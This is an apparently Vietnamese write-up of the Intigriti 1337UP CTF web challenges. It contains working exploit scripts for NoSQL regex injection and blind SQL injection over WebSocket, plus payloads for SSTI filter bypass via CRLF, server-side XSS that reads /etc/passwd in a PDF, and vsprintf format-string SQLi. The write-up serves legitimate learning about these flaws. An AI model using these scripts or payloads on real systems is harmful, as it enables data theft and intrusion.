## Keywords - [NoSQL injection](#CTFC) - [SSTI using CRLF](#Smarty-Pants) - [SQLi over Websocket](#Bug-Report-Repo) - [Server-side XSS](#My-Music) - [SQLi bypass vsprintf - format string injection](#OWASP) Link: https://ctf.intigriti.io/challenges ## CTFC NoSQL injection ```python import string import requests LETTER = string.ascii_letters+string.digits+'_}{?!@#$%^&*()' url = "https://ctfc.ctf.intigriti.io/submit_flag" cookies = {"session": "eyJ1c2VyIjp7Il9pZCI6IjdmNDUwNWUzYThjMzQ4MzZiNGU5Mjg5ZGNiMjllZmE3IiwidXNlcm5hbWUiOiJhYmMifX0.ZYfu-g.79-xpgDupy-Otu4w_a3MVT_d0UU"} length = 0 for i in range(51): data = {"_id":"_id:3","challenge_flag":{"$regex": f".{{{i}}}" }} response = requests.post(url, json=data, cookies=cookies) if "correct" in response.text: length = i else: break print(f"length = {length}") print(f"flag length = {length}") flag = '' for j in range(length): for i in LETTER: data = {"_id":"_id:3","challenge_flag":{"$regex": f"^{flag+i}" }} print(flag+i) response = requests.post(url, json=data, cookies=cookies) if "correct" in response.text: flag += i print(flag) break ``` ## Bug Bank ![image](https://hackmd.io/_uploads/Hkh0VZUD6.png) ## Smarty Pants Regex: ``` /(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/ ``` ```php! <?php if(isset($_GET['source'])){ highlight_file(__FILE__); die(); } require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php'); $smarty = new Smarty(); $smarty->setTemplateDir('/tmp/smarty/templates'); $smarty->setCompileDir('/tmp/smarty/templates_c'); $smarty->setCacheDir('/tmp/smarty/cache'); $smarty->setConfigDir('/tmp/smarty/configs'); $pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/'; if(!isset($_POST['data'])){ $smarty->assign('pattern', $pattern); $smarty->display('index.tpl'); exit(); } // returns true if data is malicious function check_data($data){ global $pattern; return preg_match($pattern,$data); } if(check_data($_POST['data'])){ $smarty->assign('pattern', $pattern); $smarty->assign('error', 'Malicious Inputs Detected'); $smarty->display('index.tpl'); exit(); } $tmpfname = tempnam("/tmp/smarty/templates", "FOO"); $handle = fopen($tmpfname, "w"); fwrite($handle, $_POST['data']); fclose($handle); $just_file = end(explode('/',$tmpfname)); $smarty->display($just_file); unlink($tmpfname); ``` Bypass regex use CRLF (`%0d%0a`) ![image](https://hackmd.io/_uploads/r1_wZqIDT.png) ![image](https://hackmd.io/_uploads/Bks8-98D6.png) ![image](https://hackmd.io/_uploads/H1eAZ5UD6.png) ## Bug Report Repo ### IDOR ![image](https://hackmd.io/_uploads/rktNYNvwp.png) ### Cách 1: Sử dụng tool `sqlmap` <https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html> Vì sqlmap không hỗ trợ `ws://` nên cần tạo server http trung gian để kết nối. Script: ```python from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse import websocket import threading # ws_server = "ws://localhost:8156/ws" ws_server = "wss://bountyrepo.ctf.intigriti.io/ws" def send_ws(payload): message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message res = None def ws_thread(): nonlocal res try: ws = websocket.create_connection(ws_server) ws.send(data) res = ws.recv() ws.close() except Exception as e: print("WebSocket Error: ", e) ws_thread = threading.Thread(target=ws_thread) ws_thread.start() ws_thread.join(timeout=15) if res: return res else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: if payload.startswith('-'): content = 'Skipped request due to negative "id"' else: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() if content: self.wfile.write(content.encode()) else: self.wfile.write(b"Error in WebSocket connection") class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass ``` Khai thác bằng `sqlmap`: ``` sqlmap -u "http://localhost:8081/?id=1" --batch --dbs ``` Offical wu (CryptoCat): <https://www.youtube.com/watch?v=kgndZOkgVxQ&list=PLmqenIp2RQciRpl2GvZv1kQUq-INq7XvH&index=6> ### Cách 2: Brute-force trực tiếp <https://www.youtube.com/watch?v=fMrFxI4xXQc> Script: ```python import string import base64 import websocket def sqli(ws, q_left, chars): data = """{"id":"11 and (%s= '%s')"}""" % (q_left, chars) ws.send(data) temp = ws.recv() return "Open" in temp def exploit_websockets(TARGET): dumped = "" ws = websocket.create_connection(TARGET) try: sql_template = "Select substr(description, %s, 1)" i = 1 while True: for chars in string.printable: if sqli(ws, sql_template % i, chars): dumped+=chars print(dumped) i+=1 break finally: ws.close() if __name__ =="__main__": TARGET = "wss://bountyrepo.ctf.intigriti.io/ws" exploit_websockets(TARGET) ``` >Kết quả: >`crypt0:c4tz on /4dm1n_z0n3, really?!` >=>Login ### Crack JWT Sử dụng <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a>: ![image](https://hackmd.io/_uploads/ByxRaaNwwp.png) ![image](https://hackmd.io/_uploads/ryl8CVPPp.png) ## Pizza Time ![image](https://hackmd.io/_uploads/r1Yf6jDD6.png) Bài chỉ có chức năng `/order` và hiển thị ra thông tin, không SQLi chắc cũng nghĩ đến SSTI (•_•) Nhưng bất kỳ ký từ nào từ `{}<>'"...` cũng bị filter. =>Bypass vẫn là dùng CRLF để xuống dòng. (chắc filter bằng regex) ![image](https://hackmd.io/_uploads/rk7r0iPP6.png) Test vài cái nữa dễ dàng biết được xài template Jinja2. Dùng payload RCE thì ăn ngay: ![image](https://hackmd.io/_uploads/rk7KRjvwp.png) Nhưng bị filter space: ![image](https://hackmd.io/_uploads/Byyj0ivPT.png) Bypass bằng `${IFS}`: ![image](https://hackmd.io/_uploads/HkJ6CswD6.png) ## My Music Sau khi biết được có thể gen PDF, test: ![image](https://hackmd.io/_uploads/BkT2knPv6.png) Kết quả: ![image](https://hackmd.io/_uploads/rkgyxnPDp.png) => **Server-side XSS** Sau 1 hồi test payload trên <a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf">Server Side XSS (Dynamic PDF) - HackTricks</a>. Tìm được payload: - `<script>document.write("abc")</script>` thực thi được JS: ![image](https://hackmd.io/_uploads/Bk4fqhvDa.png) - `<iframe src="file:///etc/passwd"></iframe>` có thể đọc được local file: ![image](https://hackmd.io/_uploads/Hy7-EhPwT.png) Nhưng flag lại không phải là `/flag.txt` hay `/flag`,... (¬_¬ ). Thử đọc vài file local để khai thác LFI nhưng vẫn không thấy gì. => Đọc source... Offical wu (CryptoCat): https://ctftime.org/writeup/38300 ༼ つ ◕_◕ ༽つ - Sử dụng `<script>document.write(location.href)</script>` xem file hiện tại: ![image](https://hackmd.io/_uploads/Bysdq2PPa.png) Dễ đoán được `/app/app.js` và đọc nó bằng `<iframe src="file:///app/app.js" width="500" height="500"></iframe>`, được: ```javascript const express = require('express') const { engine } = require('express-handlebars') const cookieParser = require('cookie-parser') const { auth } = require('./middleware/auth') const app = express() app.engine('handlebars', engine()) app.set('view engine', 'handlebars') app.set('views', './views') app.use(express.json()) app.use(cookieParser()) app.use(auth) app.use('/static', express.static('static')) app.use('/', require('./routes/index')) app.use('/api', require('./routes/api')) app.listen(3000, () => { console.log('Listening on port 3000...') }) ``` Tương tự: - `/app/routes/index.js`: ```javascript const express = require('express') const { requireAuth } = require('../middleware/auth') const { isAdmin } = require('../middleware/check_admin') const { getRandomRecommendation } = require('../utils/recommendedSongs') const { generatePDF } = require('../utils/generateProfileCard') const router = express.Router() router.get('/', (req, res) => { const spotifyTrackCode = getRandomRecommendation() res.render('home', { userData: req.userData, spotifyTrackCode }) }) router.get('/register', (req, res) => { res.render('register', { userData: req.userData }) }) router.get('/login', (req, res) => { if (req.loginHash) { res.redirect('/profile') } res.render('login', { userData: req.userData }) }) router.get('/logout', (req, res) => { res.clearCookie('login_hash') res.redirect('/') }) router.get('/profile', requireAuth, (req, res) => { res.render('profile', { userData: req.userData, loginHash: req.loginHash }) }) router.post('/profile/generate-profile-card', requireAuth, async (req, res) => { const pdf = await generatePDF(req.userData, req.body.userOptions) res.contentType('application/pdf') res.send(pdf) }) router.get('/admin', isAdmin, (req, res) => { res.render('admin', { flag: process.env.FLAG || 'CTF{DUMMY}' }) }) module.exports = router ``` - `/app/routes/api.js` ```javascript const express = require('express') const { body, cookie } = require('express-validator') const { addUser, getUserData, updateUserData, authenticateAsUser, } = require('../controllers/user') const router = express.Router() router.post('/register', body('username').not().isEmpty().withMessage('Username cannot be empty'), body('firstName').not().isEmpty().withMessage('First name cannot be empty'), body('lastName').not().isEmpty().withMessage('Last name cannot be empty'), addUser ) router.post( '/login', body('loginHash').not().isEmpty().withMessage('Login hash cannot be empty'), authenticateAsUser ) router .get('/user', getUserData) .put( '/user', body('firstName') .not() .isEmpty() .withMessage('First name cannot be empty'), body('lastName') .not() .isEmpty() .withMessage('Last name cannot be empty'), body('spotifyTrackCode') .not() .isEmpty() .withMessage('Spotify track code cannot be empty'), cookie('login_hash').not().isEmpty().withMessage('Login hash required'), updateUserData ) module.exports = router ``` - `/app/controllers/user.js` ```javascript const { createUser, getUser, setUserData, userExists, } = require('../services/user') const { validationResult } = require('express-validator') const addUser = (req, res, next) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).send(errors.array()) } const { username, firstName, lastName } = req.body const userData = { username, firstName, lastName, } try { const loginHash = createUser(userData) res.status(204) res.cookie('login_hash', loginHash, { secure: false, httpOnly: true }) res.send() } catch (e) { console.log(e) res.status(500) res.send('Error creating user!') } } const getUserData = (req, res, next) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res.status(400).send(errors.array()) } const { loginHash } = req.body try { const userData = getUser(loginHash) res.send(JSON.parse(userData)) } catch (e) { console.log(e) res.status(500) res.send('Error fetching user!') } } const updateUserData = (req, res, next) => { const errors = validationResult(req) if (!errors.isEmpty()) { return res status(400) send(errors array()) ``` - `/app/services/user.js`: ```javascript! const fs = require("fs"); const path = require("path"); const { createHash } = require("crypto"); const { v4: uuidv4 } = require("uuid"); const dataDir = "./data"; const createUser = (userData) => { const loginHash = createHash("sha256").update(uuidv4()).digest("hex"); fs.writeFileSync( path.join(dataDir, `${loginHash}.json`), JSON.stringify(userData) ); return loginHash; }; const setUserData = (loginHash, userData) => { if (!userExists(loginHash)) { throw "Invalid login hash"; } fs.writeFileSync( path.join(dataDir, `${path.basename(loginHash)}.json`), JSON.stringify(userData) ); return userData; }; const getUser = (loginHash) => { let userData = fs.readFileSync( path.join(dataDir, `${path.basename(loginHash)}.json`), { encoding: "utf8", } ); return userData; }; const userExists = (loginHash) => { return fs.existsSync( path.join(dataDir, `${path.basename(loginHash)}.json`) ); }; module.exports = { createUser, getUser, setUserData, userExists }; ``` Quan sát: ```javascript const loginHash = createHash("sha256").update(uuidv4()).digest("hex"); fs.writeFileSync( path.join(dataDir, `${loginHash}.json`), JSON.stringify(userData) ); ``` Như vậy `userData` được lưu ở `/app/data/[loginHash].json`, đồng thời `userData` cũng được lấy ra để sử dụng từ file này. Xem file `/app/routes/index.js` biết được flag có trong `check_admin.js` - `/app/middleware/check_admin.js`: ```javascript! const { getUser, userExists } = require("../services/user"); const isAdmin = (req, res, next) => { let loginHash = req.cookies["login_hash"]; let userData; if (loginHash && userExists(loginHash)) { userData = getUser(loginHash); } else { return res.redirect("/login"); } try { userData = JSON.parse(userData); if (userData.isAdmin !== true) { res.status(403); res.send("Only admins can view this page"); return; } } catch (e) { console.log(e); } next(); }; module.exports = { isAdmin }; ``` Để thành admin cần thuộc tính `isAdmin` vào `userData`. **Tuy nhiên**, xem kỹ lại: ```javascript try { userData = JSON.parse(userData); if (userData.isAdmin !== true) { res.status(403); res.send("Only admins can view this page"); return; } } catch (e) { console.log(e); } next(); ``` Nếu `userData = JSON.parse(userData);` không parsed được nghĩa là nó sẽ không đi vào đây: `res.status(403);` và vậy thì middleware này đi tiếp vào `next()` => **truy cập `/admin` thành công**. Quan sát `/app/routes/index.js`: ```javascript router.post('/profile/generate-profile-card', requireAuth, async (req, res) => { const pdf = await generatePDF(req.userData, req.body.userOptions) res.contentType('application/pdf') res.send(pdf) }) ``` Tiếp tục đọc file: `/app/utils/generateProfileCard.js`: ```javascript const puppeteer = require("puppeteer"); const fs = require("fs"); const path = require("path"); const { v4: uuidv4 } = require("uuid"); const Handlebars = require("handlebars"); const generatePDF = async (userData, userOptions) => { let templateData = fs.readFileSync( path.join(__dirname, "../views/print_profile.handlebars"), { encoding: "utf8", } ); const template = Handlebars.compile(templateData); const html = template({ userData: userData }); const filePath = path.join(__dirname, `../tmp/${uuidv4()}.html`); fs.writeFileSync(filePath, html); const browser = await puppeteer.launch({ executablePath: "/usr/bin/google-chrome", args: ["--no-sandbox"], }); const page = await browser.newPage(); await page.goto(`file://${filePath}`, { waitUntil: "networkidle0" }); await page.emulateMediaType("screen"); let options = { format: "A5", }; if (userOptions) { options = { ...options, ...userOptions }; } const pdf = await page.pdf(options); await browser.close(); fs.unlinkSync(filePath); return pdf; }; module.exports = { generatePDF }; ``` Quan sát: ```javascript if (userOptions) { options = { ...options, ...userOptions }; } const pdf = await page.pdf(options); ``` Lúc tạo PDF có thể thêm 1 số [options](https://pptr.dev/api/puppeteer.pdfoptions) và ở đây nó sử dụng spread trong js để gộp thêm `userOptions` (nếu có) vào `options` ban đầu. Ý tưởng sẽ dùng option **path** để ghi đè file chứa `userData` => parse gẫy lỗi và truy cập được vào `/admin` ![image](https://hackmd.io/_uploads/HyYMPOuva.png) Kết quả: ![image](https://hackmd.io/_uploads/SJ_7vOdP6.png) ## OWASP Wu: https://github.com/arthepsy/ctf/blob/main/writeups/2023-intigriti-1337up/owasp.md ### Recon - Leak file backup: ![image](https://hackmd.io/_uploads/BkqsGPDFp.png) Source `search.php`: ```php <?php require_once('db.php'); $flag = file_get_contents('/flag.txt'); @include('header.php'); //build sql query $sql = 'select * from owasp'; $sql_where = ''; foreach ($_REQUEST as $field => $value){ if ($sql_where) $sql_where = " AND $sql_where"; $sql_where = "position(%s in $field) $sql_where"; try { $sql_where = @vsprintf($sql_where, Array("'". sqlesc($value) . "'")); } catch (ValueError | TypeError $e) { $sql_where = ''; } if (preg_match('/[^a-z0-9\.\-_]/i', $field)) die ('Hacking attempt!'); } $sql .= ($sql_where)?" where $sql_where":''; foreach(sqlquery($sql) as $row){ @include('row.php'); $config = json_decode($row['config'], true); } if (isset($config['flag']) && $config['flag']){ $url = $config['url']; // no printer manufacturer domains if (preg_match('/canon|epson|brother|hp|minolta|sharp|dell|oki|samsung|xerox|lexmark/i', $url)) die('Looks like a printer!'); // $url = 'https://www.youtube.com/watch?v=2U3Faa3DejQ'; if (filter_var($url, FILTER_VALIDATE_URL)) { $http_resp = file_get_contents($url); var_dump($http_resp); if ($flag === $http_resp){ die('Yes! You got the right flag!'); } die('Wrong flag'); } else { die('URL does not start with HTTP or HTTPS protocol!'); } } @include('footer.php'); ``` - param có thể dùng: ``` ID Id Title config description id null ``` Như vậy việc build sql query bằng cách duyệt qua các các cặp param (`field`-`value`) trong từng vòng lặp. Ví dụ: - Với `?title=a`, query đầy đủ sẽ là: `select * from owasp where position('a' in title)`. - Với `?title=a&id=1`, query sẽ là `select * from owasp where position('1' in id) AND position('a' in title)`. ### Exploit Truyền `value` vào query được sử dụng bởi [vsprintf](https://www.php.net/manual/en/function.vsprintf.php) với format string, lợi dụng điều này để ta khai thác. Việc inject vào format string mình từng gặp trong bài ctf này: [DownUnderCTF 2023 - Smooth Jazz (SQL Injection)](https://www.justinsteven.com/posts/2023/09/10/ductf-2023-smooth-jazz-sqli/) Đó là việc dùng `%1$s`, `1` tức là lấy đối số thứ nhất để truyền vào, việc dùng cái này sẽ không bị lỗi như việc dùng `%s ... %s` do chỉ được truyền 1 giá trị. => Payload: `?id=%1$s&title=in title) or 1=1 -- -` giá trị thứ nhất `%1$s` sẽ được truyền vào trong vòng lặp thứ 2: `position(%s in id) AND position('%1$s' in title)` và giá trị thứ 2 `in title) or 1=1 -- -` sẽ được truyền vào `%s` ở trên, khi đó query đầy đủ là: `select * from owasp where position('in title) or 1=1 -- -' in id) AND position(''in title) or 1=1 -- -'' in title)` Khai thác qua `union`: ![image](https://hackmd.io/_uploads/rkqe2z_YT.png) Việc validate `url` bằng `filter_var($url, FILTER_VALIDATE_URL)` >Một số hợp lệ: >``` >http://test???test.com >http://test???test.com/path/?t=1 >http://test@google.com >javascript://comment%0Aalert(1) >javascript://%0Aalert(document.cookie) >http://example.ee/sdsf"f >http://https://example.com >a://google.com >file:///etc/passwd >... >``` Ta sẽ dùng `file:///flag.txt` để get flag. Json dùng sẽ là `{"flag":1,"url":"file:///flag.txt"}`. Payload cuối cùng `?id=%1$s&title=in title) UNION SELECT 1,1,1,0x7b22666c6167223a312c2275726c223a2266696c653a2f2f2f666c61672e747874227d-- -` ![image](https://hackmd.io/_uploads/r1zPUQOYa.png) ## E-Corp Offical Wu: <https://ctftime.org/writeup/38279>